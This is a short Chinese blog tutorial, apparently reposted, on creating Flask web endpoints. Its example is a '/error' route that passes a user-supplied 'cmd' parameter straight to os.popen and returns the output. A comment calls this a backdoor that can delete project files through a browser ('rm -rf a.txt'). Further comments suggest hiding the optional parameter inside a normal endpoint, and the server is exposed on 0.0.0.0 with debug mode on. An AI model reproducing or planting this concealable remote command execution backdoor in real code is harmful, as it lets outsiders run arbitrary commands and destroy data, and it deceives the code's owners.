标签:server method flask txt 执行 接口 route 装饰器 pytho
开发步骤:
1、实例化server
2、装饰器下面的函数变为一个接口
3、启动服务
开发工具和流程:
python库:flask =》实例化server:server = flask.Flask(__name__) =》@server.route(‘/index‘,methods=[‘post‘])
=》def index(arg):{}
例子:
import os
@server.route(‘/error‘,methods=[‘get‘])
def cmd():
cmd = flask.request.values.get(‘cmd‘) # 接口入参
res = os.popen(cmd) # 执行用户命令
return res.read() # 返回执行结果
# http://127.0.0.1:8888/error?cmd=rm -rf a.txt 后门接口可以直接通过浏览器删除项目文件
# 隐蔽一点的方法,把cmd = flask.request.values(‘cmd‘,None)写入正常接口
# 默认可以不传,一但传了再res = os.popen(cmd)
server.run(port=8888,debug=True,host=‘0.0.0.0‘) # 启动服务
# debug=True,改了代码后,不用重启,它会自动重启
# ‘host=‘0.0.0.0‘别人可以通过IP访问
标签:server method flask txt 执行 接口 route 装饰器 pytho
原文地址:https://www.cnblogs.com/xiennnnn/p/11599694.html